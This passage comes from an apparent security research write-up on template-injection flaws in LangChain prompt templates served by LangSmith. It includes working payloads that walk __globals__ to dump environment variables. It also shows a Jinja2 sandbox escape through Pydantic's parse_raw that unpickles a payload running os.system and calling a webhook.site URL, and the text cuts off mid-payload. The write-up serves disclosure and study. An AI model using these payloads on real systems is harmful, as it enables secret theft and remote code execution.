<span class="p">{</span><span class="s">'__name__'</span><span class="p">:</span> <span class="s">'langchain_core.messages.base'</span><span class="p">,</span> <span class="p">...</span> <span class="s">'get_msg_title_repr'</span><span class="p">:</span> <span class="o">&lt;</span><span class="n">function</span> <span class="n">get_msg_title_repr</span> <span class="n">at</span> <span class="mh">0x109486520</span><span class="o">&gt;</span><span class="p">}</span>
</code></pre></div></div>

<p>Since <code class="language-plaintext highlighter-rouge">__globals__</code> includes all imported modules, it is possible to traverse the import chain by navigating through different modules. For example, the <code class="language-plaintext highlighter-rouge">langchain_core.messages.human</code> module (where <code class="language-plaintext highlighter-rouge">HumanMessage</code> is defined) makes the following import:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">langchain_core.messages</span> <span class="kn">import</span> <span class="n">content</span> <span class="k">as</span> <span class="n">types</span>
</code></pre></div></div>

<p>This imported module can be accessed as follows:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="n">HumanMessage</span><span class="p">(</span><span class="s">""</span><span class="p">).</span><span class="n">pretty_repr</span><span class="p">.</span><span class="n">__globals__</span><span class="p">[</span><span class="s">"types"</span><span class="p">]</span>
<span class="o">&lt;</span><span class="n">module</span> <span class="s">'langchain_core.messages.content'</span> <span class="k">from</span> <span class="s">'/venv/lib/python3.13/site-packages/langchain_core/messages/content.py'</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>In other words, my goal was to find a module that imports <code class="language-plaintext highlighter-rouge">os</code> and can be accessed from the global namespace accessible from the <code class="language-plaintext highlighter-rouge">HumanMessage</code> instance (or any other allowed serialisable objects). After a brief search, the following chain was found:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="n">HumanMessage</span><span class="p">(</span><span class="s">""</span><span class="p">).</span><span class="n">pretty_repr</span><span class="p">.</span><span class="n">__globals__</span><span class="p">[</span><span class="s">"types"</span><span class="p">].</span><span class="n">ensure_id</span><span class="p">.</span><span class="n">__globals__</span><span class="p">[</span><span class="s">"os"</span><span class="p">].</span><span class="n">environ</span>
<span class="n">environ</span><span class="p">({</span><span class="s">'TERM_SESSION_ID'</span><span class="p">:</span> <span class="s">'w0t0p0:F39B7820-17CC-4D05-BAB1-1D2782C21488'</span> <span class="p">...})</span>
</code></pre></div></div>

<p>or using the <code class="language-plaintext highlighter-rouge">f-string</code> formatting:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="n">f_string_formatter</span><span class="p">(</span><span class="s">"{msg.pretty_repr.__globals__[types].ensure_id.__globals__[os].environ}"</span><span class="p">,</span> <span class="n">msg</span><span class="o">=</span><span class="n">HumanMessage</span><span class="p">(</span><span class="s">""</span><span class="p">))</span>
<span class="s">'environ({</span><span class="se">\'</span><span class="s">TERM_SESSION_ID</span><span class="se">\'</span><span class="s">: </span><span class="se">\'</span><span class="s">w0t0p0:F39B7820-17CC-4D05-BAB1-1D2782C21488</span><span class="se">\'</span><span class="s"> ...})'</span>
</code></pre></div></div>

<p>Note that there is no need to quote element keys, i.e. <code class="language-plaintext highlighter-rouge">__globals__[types]</code> instead of <code class="language-plaintext highlighter-rouge">__globals__["types"]</code>.</p>

<p>The similar payload can be used for <code class="language-plaintext highlighter-rouge">mustache</code> to access the environment variables:</p>

<p>{% raw %}</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="n">mustache_formatter</span><span class="p">(</span><span class="s">"{{msg.pretty_repr.__globals__.types.ensure_id.__globals__.os.environ}}"</span><span class="p">,</span> <span class="n">msg</span><span class="o">=</span><span class="n">HumanMessage</span><span class="p">(</span><span class="s">""</span><span class="p">))</span>
<span class="s">"environ({'TERM_SESSION_ID': 'w0t0p0:F39B7820-17CC-4D05-BAB1-1D2782C21488' ...})"</span>
</code></pre></div></div>
<p>{% endraw %}</p>

<p>I crafted a request with the identified payload and sent it to reproduce this behaviour in LangSmith:</p>

<blockquote>
  <p>I had to add an element with the key <code class="language-plaintext highlighter-rouge">msg.pretty_repr.__globals__[types].ensure_id.__globals__[os].environ</code> to <code class="language-plaintext highlighter-rouge">input</code> to avoid a validation error. The thing is that the backend extracts all variable names from the provided template and looks for their presence in <code class="language-plaintext highlighter-rouge">input</code>.</p>
</blockquote>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"manifest"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="err">//</span><span class="w"> </span><span class="err">...</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
            </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                </span><span class="s2">"langchain"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"prompts"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"chat"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"HumanMessagePromptTemplate"</span><span class="w">
            </span><span class="p">],</span><span class="w">
            </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nl">"prompt"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                        </span><span class="s2">"langchain"</span><span class="p">,</span><span class="w">
                        </span><span class="s2">"prompts"</span><span class="p">,</span><span class="w">
                        </span><span class="s2">"prompt"</span><span class="p">,</span><span class="w">
                        </span><span class="s2">"PromptTemplate"</span><span class="w">
                    </span><span class="p">],</span><span class="w">
                    </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                        </span><span class="nl">"input_variables"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                            </span><span class="s2">"msg"</span><span class="w">
                        </span><span class="p">],</span><span class="w">
                        </span><span class="nl">"template_format"</span><span class="p">:</span><span class="w"> </span><span class="s2">"f-string"</span><span class="p">,</span><span class="w">
                        </span><span class="nl">"template"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Say {msg.pretty_repr.__globals__[types].ensure_id.__globals__[os].environ}"</span><span class="w">
                    </span><span class="p">}</span><span class="w">
                </span><span class="p">}</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">}</span><span class="w">
        </span><span class="err">//</span><span class="w"> </span><span class="err">...</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"input"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"msg.pretty_repr.__globals__[types].ensure_id.__globals__[os].environ"</span><span class="p">:</span><span class="w"> </span><span class="s2">"test"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"msg"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
            </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
            </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                </span><span class="s2">"langchain_core"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"messages"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"HumanMessage"</span><span class="w">
            </span><span class="p">],</span><span class="w">
            </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nl">"content"</span><span class="p">:</span><span class="w"> </span><span class="s2">"hi"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"additional_kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{}</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The backend returned all environment variables in the response:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">"output"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
    </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"langchain"</span><span class="p">,</span><span class="w"> </span><span class="s2">"schema"</span><span class="p">,</span><span class="w"> </span><span class="s2">"messages"</span><span class="p">,</span><span class="w"> </span><span class="s2">"AIMessage"</span><span class="p">],</span><span class="w">
    </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"content"</span><span class="p">:</span><span class="w"> </span><span class="s2">"environ({'PATH': '/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/bin', 'HOSTNAME': 'langsmith-playground-7bbf88bd5c-d2h9j', ...})"</span><span class="p">,</span><span class="w">
        </span><span class="err">//</span><span class="w"> </span><span class="err">...</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<h2 id="jinja2-sandbox-escape-and-remote-code-execution">Jinja2 sandbox escape and remote code execution</h2>

<p>Unlike <code class="language-plaintext highlighter-rouge">f-string</code> and <code class="language-plaintext highlighter-rouge">mustache</code>, <code class="language-plaintext highlighter-rouge">jinja2</code> supports calls, but due to <code class="language-plaintext highlighter-rouge">SandboxedEnvironment</code> I was not able to use the similar chain that was used for <code class="language-plaintext highlighter-rouge">f-string</code> and <code class="language-plaintext highlighter-rouge">mustache</code>.</p>

<p>{% raw %}</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="n">jinja2_formatter</span><span class="p">(</span><span class="s">"{{msg.pretty_repr.__globals__[types].ensure_id.__globals__[os].environ}}"</span><span class="p">,</span> <span class="n">msg</span><span class="o">=</span><span class="n">HumanMessage</span><span class="p">(</span><span class="s">""</span><span class="p">))</span>
<span class="n">Traceback</span> <span class="p">(</span><span class="n">most</span> <span class="n">recent</span> <span class="n">call</span> <span class="n">last</span><span class="p">):</span>
<span class="p">...</span>
<span class="n">jinja2</span><span class="p">.</span><span class="n">exceptions</span><span class="p">.</span><span class="n">SecurityError</span><span class="p">:</span> <span class="n">access</span> <span class="n">to</span> <span class="n">attribute</span> <span class="s">'__globals__'</span> <span class="n">of</span> <span class="s">'method'</span> <span class="nb">object</span> <span class="ow">is</span> <span class="n">unsafe</span><span class="p">.</span>
</code></pre></div></div>
<p>{% endraw %}</p>

<p>Before we move on to the details of finding gadgets, it’s worth diving into Jinja2’s sandbox environment to better understand what to look for to bypass the sandbox. <code class="language-plaintext highlighter-rouge">SandboxedEnvironment</code> defines all the key operations available inside a template such as <code class="language-plaintext highlighter-rouge">getitem</code>, <code class="language-plaintext highlighter-rouge">getattr</code>, and <code class="language-plaintext highlighter-rouge">call</code>. This allows <code class="language-plaintext highlighter-rouge">SandboxedEnvironment</code> to intercept and control attribute access, method calls, operators, and data structure mutations during template rendering. For example, when you are trying to access an attribute in the template {% raw %}<code class="language-plaintext highlighter-rouge">{{obj.__class__}}</code>{% endraw %}, you are actually calling <code class="language-plaintext highlighter-rouge">SandboxedEnvironment.getattr(obj, "__class__")</code>, and since any attributes starting with <code class="language-plaintext highlighter-rouge">_</code> (underscore) are blocked, you will receive <code class="language-plaintext highlighter-rouge">Undefined</code> in the response:</p>

<p>{% raw %}</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="n">jinja2_formatter</span><span class="p">(</span><span class="s">"{{msg.__class__}}"</span><span class="p">,</span> <span class="n">msg</span><span class="o">=</span><span class="n">HumanMessage</span><span class="p">(</span><span class="s">""</span><span class="p">))</span>
<span class="s">''</span>
</code></pre></div></div>
<p>{% endraw %}</p>

<p>However, Jinja2’s sandbox doesn’t inspect or control what happens outside the template execution context. If you pass a function to the template that internally gets a forbidden attribute, it will work:</p>

<p>{% raw %}</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="n">jinja2_formatter</span><span class="p">(</span><span class="s">"{{func('')}}"</span><span class="p">,</span> <span class="n">func</span><span class="o">=</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="n">x</span><span class="p">.</span><span class="n">__class__</span><span class="p">)</span>
<span class="s">"&lt;class 'str'&gt;"</span>
</code></pre></div></div>
<p>{% endraw %}</p>

<p>So, my goal was to find a method that reads/writes files or executes code/commands and use it for exploitation. Keeping this in mind, I started looking through the methods available in classes that were allowed to be loaded from <code class="language-plaintext highlighter-rouge">input</code>. <code class="language-plaintext highlighter-rouge">HumanMessage</code> has the following inheritance path: <code class="language-plaintext highlighter-rouge">HumanMessage &gt; BaseMessage &gt; Serializable &gt; BaseModel</code>, where <code class="language-plaintext highlighter-rouge">BaseModel</code> is Pydantic’s <code class="language-plaintext highlighter-rouge">BaseModel</code>. To be honest, I didn’t immediately attach any importance to inheriting from <code class="language-plaintext highlighter-rouge">BaseModel</code>. However, after spending a bit of time digging around, I looked through the code of the <code class="language-plaintext highlighter-rouge">BaseModel</code> methods and eventually discovered the deprecated <code class="language-plaintext highlighter-rouge">parse_raw</code> method:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">BaseModel</span><span class="p">(</span><span class="n">metaclass</span><span class="o">=</span><span class="n">_model_construction</span><span class="p">.</span><span class="n">ModelMetaclass</span><span class="p">):</span>
    <span class="c1"># ...
</span>    <span class="o">@</span><span class="nb">classmethod</span>
    <span class="o">@</span><span class="n">typing_extensions</span><span class="p">.</span><span class="n">deprecated</span><span class="p">(</span>
        <span class="s">'The `parse_raw` method is deprecated; if your data is JSON use `model_validate_json`, '</span>
        <span class="s">'otherwise load the data then use `model_validate` instead.'</span><span class="p">,</span>
        <span class="n">category</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span>
    <span class="p">)</span>
    <span class="k">def</span> <span class="nf">parse_raw</span><span class="p">(</span>  <span class="c1"># noqa: D102
</span>        <span class="n">cls</span><span class="p">,</span>
        <span class="n">b</span><span class="p">:</span> <span class="nb">str</span> <span class="o">|</span> <span class="nb">bytes</span><span class="p">,</span>
        <span class="o">*</span><span class="p">,</span>
        <span class="n">content_type</span><span class="p">:</span> <span class="nb">str</span> <span class="o">|</span> <span class="bp">None</span> <span class="o">=</span> <span class="bp">None</span><span class="p">,</span>
        <span class="n">encoding</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="s">'utf8'</span><span class="p">,</span>
        <span class="n">proto</span><span class="p">:</span> <span class="n">DeprecatedParseProtocol</span> <span class="o">|</span> <span class="bp">None</span> <span class="o">=</span> <span class="bp">None</span><span class="p">,</span>
        <span class="n">allow_pickle</span><span class="p">:</span> <span class="nb">bool</span> <span class="o">=</span> <span class="bp">False</span><span class="p">,</span>
    <span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Self</span><span class="p">:</span>  <span class="c1"># pragma: no cover
</span>        <span class="n">warnings</span><span class="p">.</span><span class="n">warn</span><span class="p">(</span>
            <span class="s">'The `parse_raw` method is deprecated; if your data is JSON use `model_validate_json`, '</span>
            <span class="s">'otherwise load the data then use `model_validate` instead.'</span><span class="p">,</span>
            <span class="n">category</span><span class="o">=</span><span class="n">PydanticDeprecatedSince20</span><span class="p">,</span>
            <span class="n">stacklevel</span><span class="o">=</span><span class="mi">2</span><span class="p">,</span>
        <span class="p">)</span>
        <span class="kn">from</span> <span class="nn">.deprecated</span> <span class="kn">import</span> <span class="n">parse</span>

        <span class="k">try</span><span class="p">:</span>
            <span class="n">obj</span> <span class="o">=</span> <span class="n">parse</span><span class="p">.</span><span class="n">load_str_bytes</span><span class="p">(</span>
                <span class="n">b</span><span class="p">,</span>
                <span class="n">proto</span><span class="o">=</span><span class="n">proto</span><span class="p">,</span>
                <span class="n">content_type</span><span class="o">=</span><span class="n">content_type</span><span class="p">,</span>
                <span class="n">encoding</span><span class="o">=</span><span class="n">encoding</span><span class="p">,</span>
                <span class="n">allow_pickle</span><span class="o">=</span><span class="n">allow_pickle</span><span class="p">,</span>
            <span class="p">)</span>
        <span class="k">except</span> <span class="p">(</span><span class="nb">ValueError</span><span class="p">,</span> <span class="nb">TypeError</span><span class="p">)</span> <span class="k">as</span> <span class="n">exc</span><span class="p">:</span>
            <span class="c1"># ...
</span>            <span class="k">raise</span> <span class="n">pydantic_core</span><span class="p">.</span><span class="n">ValidationError</span><span class="p">.</span><span class="n">from_exception_data</span><span class="p">(</span><span class="n">cls</span><span class="p">.</span><span class="n">__name__</span><span class="p">,</span> <span class="p">[</span><span class="n">error</span><span class="p">])</span>
        <span class="k">return</span> <span class="n">cls</span><span class="p">.</span><span class="n">model_validate</span><span class="p">(</span><span class="n">obj</span><span class="p">)</span>
</code></pre></div></div>

<p>The method loads an object from a string or bytes and looks like supports serialised pickle objects. This is definitely a bad sign. Diving into the <code class="language-plaintext highlighter-rouge">parse.load_str_bytes</code> function to explore the deserialisation logic, I discovered that it is possible to pass a serialised pickle object, and it will be loaded:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">deprecated</span><span class="p">(</span><span class="s">'`load_str_bytes` is deprecated.'</span><span class="p">,</span> <span class="n">category</span><span class="o">=</span><span class="bp">None</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">load_str_bytes</span><span class="p">(</span>
    <span class="n">b</span><span class="p">:</span> <span class="nb">str</span> <span class="o">|</span> <span class="nb">bytes</span><span class="p">,</span>
    <span class="o">*</span><span class="p">,</span>
    <span class="n">content_type</span><span class="p">:</span> <span class="nb">str</span> <span class="o">|</span> <span class="bp">None</span> <span class="o">=</span> <span class="bp">None</span><span class="p">,</span>
    <span class="n">encoding</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="s">'utf8'</span><span class="p">,</span>
    <span class="n">proto</span><span class="p">:</span> <span class="n">Protocol</span> <span class="o">|</span> <span class="bp">None</span> <span class="o">=</span> <span class="bp">None</span><span class="p">,</span>
    <span class="n">allow_pickle</span><span class="p">:</span> <span class="nb">bool</span> <span class="o">=</span> <span class="bp">False</span><span class="p">,</span>
    <span class="n">json_loads</span><span class="p">:</span> <span class="n">Callable</span><span class="p">[[</span><span class="nb">str</span><span class="p">],</span> <span class="n">Any</span><span class="p">]</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">,</span>
<span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Any</span><span class="p">:</span>
    <span class="n">warnings</span><span class="p">.</span><span class="n">warn</span><span class="p">(</span><span class="s">'`load_str_bytes` is deprecated.'</span><span class="p">,</span> <span class="n">category</span><span class="o">=</span><span class="n">PydanticDeprecatedSince20</span><span class="p">,</span> <span class="n">stacklevel</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span>
    <span class="c1"># ...
</span>    <span class="k">if</span> <span class="n">proto</span> <span class="o">==</span> <span class="n">Protocol</span><span class="p">.</span><span class="n">json</span><span class="p">:</span>
        <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="nb">bytes</span><span class="p">):</span>
            <span class="n">b</span> <span class="o">=</span> <span class="n">b</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="n">encoding</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">json_loads</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>  <span class="c1"># type: ignore
</span>    <span class="k">elif</span> <span class="n">proto</span> <span class="o">==</span> <span class="n">Protocol</span><span class="p">.</span><span class="n">pickle</span><span class="p">:</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">allow_pickle</span><span class="p">:</span>
            <span class="k">raise</span> <span class="nb">RuntimeError</span><span class="p">(</span><span class="s">'Trying to decode with pickle with allow_pickle=False'</span><span class="p">)</span>
        <span class="n">bb</span> <span class="o">=</span> <span class="n">b</span> <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="nb">bytes</span><span class="p">)</span> <span class="k">else</span> <span class="n">b</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span>  <span class="c1"># type: ignore
</span>        <span class="k">return</span> <span class="n">pickle</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">bb</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">raise</span> <span class="nb">TypeError</span><span class="p">(</span><span class="sa">f</span><span class="s">'Unknown protocol: </span><span class="si">{</span><span class="n">proto</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
</code></pre></div></div>

<p>This meant that arbitrary code could be executed thanks to pickle’s <code class="language-plaintext highlighter-rouge">__reduce__</code> mechanism, which allows objects to specify arbitrary functions to call during deserialisation. I wrote a tiny Python script to generate a payload:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pickle</span>
<span class="kn">import</span> <span class="nn">os</span>

<span class="k">class</span> <span class="nc">Pwn</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="k">return</span> <span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">,</span> <span class="p">(</span><span class="s">"whoami"</span><span class="p">,))</span>

<span class="n">payload</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">pickle</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">Pwn</span><span class="p">())).</span><span class="n">removeprefix</span><span class="p">(</span><span class="s">"b'"</span><span class="p">).</span><span class="n">removesuffix</span><span class="p">(</span><span class="s">"'"</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">"</span><span class="p">,</span> <span class="s">"</span><span class="se">\\\\</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>

<p>Because <code class="language-plaintext highlighter-rouge">pickle.dumps</code> returns bytes, the Python script encodes the serialised object as escaped hexadecimal bytes, which can be passed to the template as a string. The resulting encoded payload looks like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>\\x80\\x04\\x95!\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8c\\x05posix\\x94\\x8c\\x06system\\x94\\x93\\x94\\x8c\\x06whoami\\x94\\x85\\x94R\\x94.
</code></pre></div></div>

<p>To exploit <code class="language-plaintext highlighter-rouge">parse_raw</code>, the generated payload must be converted back into bytes that pickle can deserialise. To do this, the <code class="language-plaintext highlighter-rouge">payload.encode().decode('unicode_escape').encode('latin1')</code> chain can be used to perform the necessary transformation. Running the following local test confirmed the code execution:</p>

<p>{% raw %}</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="n">payload</span> <span class="o">=</span> <span class="s">"</span><span class="se">\\</span><span class="s">x80</span><span class="se">\\</span><span class="s">x04</span><span class="se">\\</span><span class="s">x95!</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x8c</span><span class="se">\\</span><span class="s">x05posix</span><span class="se">\\</span><span class="s">x94</span><span class="se">\\</span><span class="s">x8c</span><span class="se">\\</span><span class="s">x06system</span><span class="se">\\</span><span class="s">x94</span><span class="se">\\</span><span class="s">x93</span><span class="se">\\</span><span class="s">x94</span><span class="se">\\</span><span class="s">x8c</span><span class="se">\\</span><span class="s">x06whoami</span><span class="se">\\</span><span class="s">x94</span><span class="se">\\</span><span class="s">x85</span><span class="se">\\</span><span class="s">x94R</span><span class="se">\\</span><span class="s">x94."</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">jinja2_formatter</span><span class="p">(</span><span class="s">"{{msg.parse_raw(payload.encode().decode('unicode_escape').encode('latin1'),allow_pickle=True,proto='pickle')}}"</span><span class="p">,</span> <span class="n">msg</span><span class="o">=</span><span class="n">HumanMessage</span><span class="p">(</span><span class="s">""</span><span class="p">),</span> <span class="n">payload</span><span class="o">=</span><span class="n">payload</span><span class="p">)</span>
<span class="mi">0</span><span class="n">xn3va</span>
<span class="n">Traceback</span> <span class="p">(</span><span class="n">most</span> <span class="n">recent</span> <span class="n">call</span> <span class="n">last</span><span class="p">):</span>
  <span class="p">...</span>
</code></pre></div></div>
<p>{% endraw %}</p>

<p>To confirm the code execution in LangSmith, I had to prepare another payload that made a request to a URL, as the backend was throwing an error for Pydantic validation for the loaded object, and only an error message was returned in the response. The final manifest and input were the following:</p>

<p>{% raw %}</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"manifest"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="err">//</span><span class="w"> </span><span class="err">...</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
            </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                </span><span class="s2">"langchain"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"prompts"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"chat"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"HumanMessagePromptTemplate"</span><span class="w">
            </span><span class="p">],</span><span class="w">
            </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nl">"prompt"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                        </span><span class="s2">"langchain"</span><span class="p">,</span><span class="w">
                        </span><span class="s2">"prompts"</span><span class="p">,</span><span class="w">
                        </span><span class="s2">"prompt"</span><span class="p">,</span><span class="w">
                        </span><span class="s2">"PromptTemplate"</span><span class="w">
                    </span><span class="p">],</span><span class="w">
                    </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                        </span><span class="nl">"input_variables"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                            </span><span class="s2">"payload"</span><span class="p">,</span><span class="w">
                            </span><span class="s2">"msg"</span><span class="w">
                        </span><span class="p">],</span><span class="w">
                        </span><span class="nl">"template_format"</span><span class="p">:</span><span class="w"> </span><span class="s2">"jinja2"</span><span class="p">,</span><span class="w">
                        </span><span class="nl">"template"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Say {{msg.parse_raw(payload.encode().decode('unicode_escape').encode('latin1'),allow_pickle=True,proto='pickle')}}"</span><span class="w">
                    </span><span class="p">}</span><span class="w">
                </span><span class="p">}</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"input"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"payload"</span><span class="p">:</span><span class="w"> </span><span class="s2">"</span><span class="se">\\</span><span class="s2">x80</span><span class="se">\\</span><span class="s2">x04</span><span class="se">\\</span><span class="s2">x95^</span><span class="se">\\</span><span class="s2">x00</span><span class="se">\\</span><span class="s2">x00</span><span class="se">\\</span><span class="s2">x00</span><span class="se">\\</span><span class="s2">x00</span><span class="se">\\</span><span class="s2">x00</span><span class="se">\\</span><span class="s2">x00</span><span class="se">\\</span><span class="s2">x00</span><span class="se">\\</span><span class="s2">x8c</span><span class="se">\\</span><span class="s2">x0eurllib.request</span><span class="se">\\</span><span class="s2">x94</span><span class="se">\\</span><span class="s2">x8c</span><span class="se">\\</span><span class="s2">x07urlopen</span><span class="se">\\</span><span class="s2">x94</span><span class="se">\\</span><span class="s2">x93</span><span class="se">\\</span><span class="s2">x94</span><span class="se">\\</span><span class="s2">x8c9https://webhook.site/01c5382f-8bc8-4549-92e2-1f16c933187a</span><span class="se">\\</span><span 